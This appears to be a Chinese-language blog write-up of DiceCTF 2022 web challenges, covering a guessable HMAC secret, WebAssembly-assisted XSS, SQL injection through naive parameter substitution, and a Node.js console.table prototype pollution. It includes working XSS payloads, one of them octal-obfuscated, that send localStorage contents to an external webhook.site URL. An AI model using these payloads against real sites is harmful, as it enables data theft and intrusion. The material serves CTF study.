an4er

Want to be a Ctfer, Developer, Red Team


DiceCTF2022 复现

Published January 31, 2023

knock-knock

题目的主要逻辑是:创建一个note会返回这个note在数组中的下标id然后和对应的访问token,然后flag在程序启动的时候就push到了数组中,其下标也就是id应该为0。所以我们为了获取到flag,只要获取到对应的token即可,其中的token是如此生成的

class Database {
  constructor() {
    this.notes = [];
    this.secret = `secret-${crypto.randomUUID}`;
  }
  generateToken(id) {
    return crypto
      .createHmac('sha256', this.secret)
      .update(id.toString())
      .digest('hex');
  }
}

所以因为我们的目的是要伪造token,所以我们需要知道它的secret,这里的secret使用模板语法,取了crypto的randomUUID值,因为没有用()调用函数,所以返回的是函数体,也就是固定内容

blazingfast

简单读一下bot.js发现目的是要XSS,然后查看index.html中执行的js

WebAssembly.instantiateStreaming(fetch('/blazingfast.wasm')).then(({ instance }) => {
	blazingfast = instance.exports;

	document.getElementById('demo-submit').onclick = () => {
		demo(document.getElementById('demo').value);
	}

	let query = new URLSearchParams(window.location.search).get('demo');

	if (query) {
		document.getElementById('demo').value = query;
		demo(query);
	}
})

这里使用jsapi去调用WebAssembly

WebAssembly 是一种新的编码方式,可以在现代的网络浏览器中运行 - 它是一种低级的类汇编语言,具有紧凑的二进制格式,可以接近原生的性能运行,并为诸如 C / C ++等语言提供一个编译目标,以便它们可以在 Web 上运行。它也被设计为可以与 JavaScript 共存,允许两者一起工作。

WebAssembly 被设计为可以和 JavaScript 一起协同工作——通过使用 WebAssembly 的 JavaScript API,你可以把 WebAssembly 模块加载到一个 JavaScript 应用中并且在两者之间共享功能。这允许你在同一个应用中利用 WebAssembly 的性能和威力以及 JavaScript 的表达力和灵活性,即使你可能并不知道如何编写 WebAssembly 代码。

类似于去加载/blazingfast.wasm文件,然后使用在.wasm中定义的方法,使用WebAssembly 的好处是加快运行的速度,类似于汇编,相同的代码使用.wasm明显比使用js编写快。阅读上面那段代码发现有两种接收参数的方式,一种是获得iddemo内的值,也就页面中的输入框,一种是通过

let query = new URLSearchParams(window.location.search).get('demo');

获得?demo=后的值,然后一样赋值给document.getElementById('demo').value。然后对于输入的值作为参数传入demo函数

function demo(str) {
	document.getElementById('result').innerHTML = mock(str);
}

又进入mock函数

image-20230113194451902

这里的blazingfast是在上面利用WebAssembly 加载/blazingfast.wasm暴露实例出来的对象,也就是附件中的

image-20230113194412207

可以看到在mock中将用户输入的长度作为init传入,然后后面检查的长度是最初传入的长度,然后经过str.toUpperCase()后将结果遍历进入mock,这里利用一些特殊字符经过toUpperCase()的特性来绕过检测

image-20230113194835887

然后就是命令执行的问题,因为程序会将输入全转换为大写,又js是大小写敏感的语言,所以一些常见的payload无法使用,比如window.open要是要取得localStorage.flag 得通过+localStorage.flag但是这里就得逃出字符串的范围了,大写后无法执行,这里得用fetch,异步执行然后使用模板变量取得,这里使用localStorage.flag的值

<img src=x onerror="''['at']['__proto__']['constructor']('fetch(`https://webhook.site/689e62cc-c516-4cec-a302-9bdc67202cc5?Q=${localStorage.flag}`)')()"/>

因为上面说的js是大小写敏感所以直接使用会报错 "".AT is undefined因为只有at函数没有AT函数,这里的at随便一个字符串内置的就行,目的是要拿到Function

image-20230113200555660

利用字符串的特性,利用八进制绕过,脚本简单实现

import re

str = "https://webhook.site/689e62cc-c516-4cec-a302-9bdc67202cc5"
newstr = ""
for i in str:
    if re.search("[a-zA-Z]",i) != None:
        newstr +='\\'+oct(ord(i)).split("o")[1]
    else:
        newstr += i
print(newstr)
<img src=x onerror="''['\141\164']['\137\137\160\162\157\164\157\137\137']['\143\157\156\163\164\162\165\143\164\157\162']('\146\145\164\143\150(`\150\164\164\160\163://\167\145\142\150\157\157\153.\163\151\164\145/689\14562\143\143-\143516-4\143\145\143-\141302-9\142\144\14367202\143\1435?Q=${\154\157\143\141\154S\164\157\162\141\147\145.\146\154\141\147}`)')()"/>

还可以使用html编码

<img src=x onerror="&#97;&#108;&#101;&#114;&#116;(1)" />

no-cookies

题目逻辑是不需要cookie所有的路由都需要先登录后才可以使用,然后flag在bot的密码中,所以我们的目标是获取bot的密码

在代码view.html中:

let text = note;
      if (mode === 'markdown') {
        text = text.replace(/\[([^\]]+)\]\(([^\)]+)\)/g, (match, p1, p2) => {
          return `<a href="${p2}">${p1}</a>`;
        });  
document.querySelector('.note').innerHTML = text;

可以看见在其中存在XSS,我们输入

[a](1" onfocus=alert&lpar;RegExp.input&rpar; autofocus=")
拼接后成为
<a href="1" onfocus=alert(RegExp.input) autofocus="">a</a>

即可完成XSSRegExp.input是看wp学到的可以获得上一次正则匹配成功的值,如果没有经过text.replace我们可以获得最后一次匹配成功的值为const password = promptValid('Password:');就可以获得bot的密码,但是这里只能获得note。

发现note是访问/view路由的返回值,在index.js中会进行下列预编译

prepare: (query, params) => {
  if (params)
    for (const [key, value] of Object.entries(params)) {
      const clean = value.replace(/['$]/g, '');
      query = query.replaceAll(`:${key}`, `'${clean}'`);
    }
  return query;
},

也就是可以进行sql注入

// 一開始是
INSERT INTO notes VALUES (:id, :username, :note, :mode, 0)

// 接著假設 id 是 123,就會變成
INSERT INTO notes VALUES ('123' :username, :note, :mode, 0)

// 再來 replace username,變成
INSERT INTO notes VALUES ('123', 'a :note', :note, :mode, 0)

// 再來是 note,要注意的是兩個 note 都會被 replace
INSERT INTO notes VALUES ('123', 'a ', :mode, 0, 0) -- '', ', :mode, 0, 0) -- ', :mode, 0)

// 最後是 mode,這時候我們已經可以控制 note 內容的值了,沒有任何限制
INSERT INTO notes VALUES ('123', 'a ', 'payload', 0, 0) -- '', ', 'payload', 0, 0) -- ', :mode, 0)

另一种解法是

利用<svg><svg/onload=eval(name)>可以在下一个

document.querySelector('.views').innerText = views;

执行前执行代码,然后通过覆盖方法,然后使用arguments.callee.caller重新调用一次函数,然后执行的是我们覆盖完成的结果

document.querySelector = function() {
  JSON.stringify = function(data) {
    console.log(data.password) // flag
  };
  arguments.callee.caller()
}

callee是arguments对象的一个属性,指向 arguments 对象的函数,即当前函数。 caller是函数对象的一个属性,指向调用当前函数的函数体引用。

vm-calc

目的是

if(users.filter(u => u.user === user && u.pass === hash)[0] !== undefined) {
        res.render("admin", { flag: await fsp.readFile("flag.txt") });
}

这里用到了nodejs的1day,去污染Object.prototype[0],让它变为空字符串,即可绕过检查

console.table([{x:1}], ["__proto__"]);

污染的的位置在map中

// tabularData 是第一個參數 [{x:1}]
// properties 是第二個參數 ["__proto__"]
const map = ObjectCreate(null);
let hasPrimitives = false;
const valuesKeyArray = [];
const indexKeyArray = ObjectKeys(tabularData);

for (; i < indexKeyArray.length; i++) {
  const item = tabularData[indexKeyArray[i]];
  const primitive = item === null ||
      (typeof item !== 'function' && typeof item !== 'object');
  if (properties === undefined && primitive) {
    hasPrimitives = true;
    valuesKeyArray[i] = _inspect(item);
  } else {
    const keys = properties || ObjectKeys(item);
	
    // for of 的時候 key 會是 __proto__ 
    for (const key of keys) {
      if (map[key] === undefined)
        map[key] = [];
      
      // !ObjectPrototypeHasOwnProperty(item, key) 會成立
      if ((primitive && properties) ||
           !ObjectPrototypeHasOwnProperty(item, key))

        // 因此 map[__proto__][0] 會是空字串
        map[key][i] = '';
      else
        map[key][i] = _inspect(item[key]);
    }
  }
}

dicevault

https://hackmd.io/fmdfFQ2iS6yoVpbR3KCiqQ#webdicevault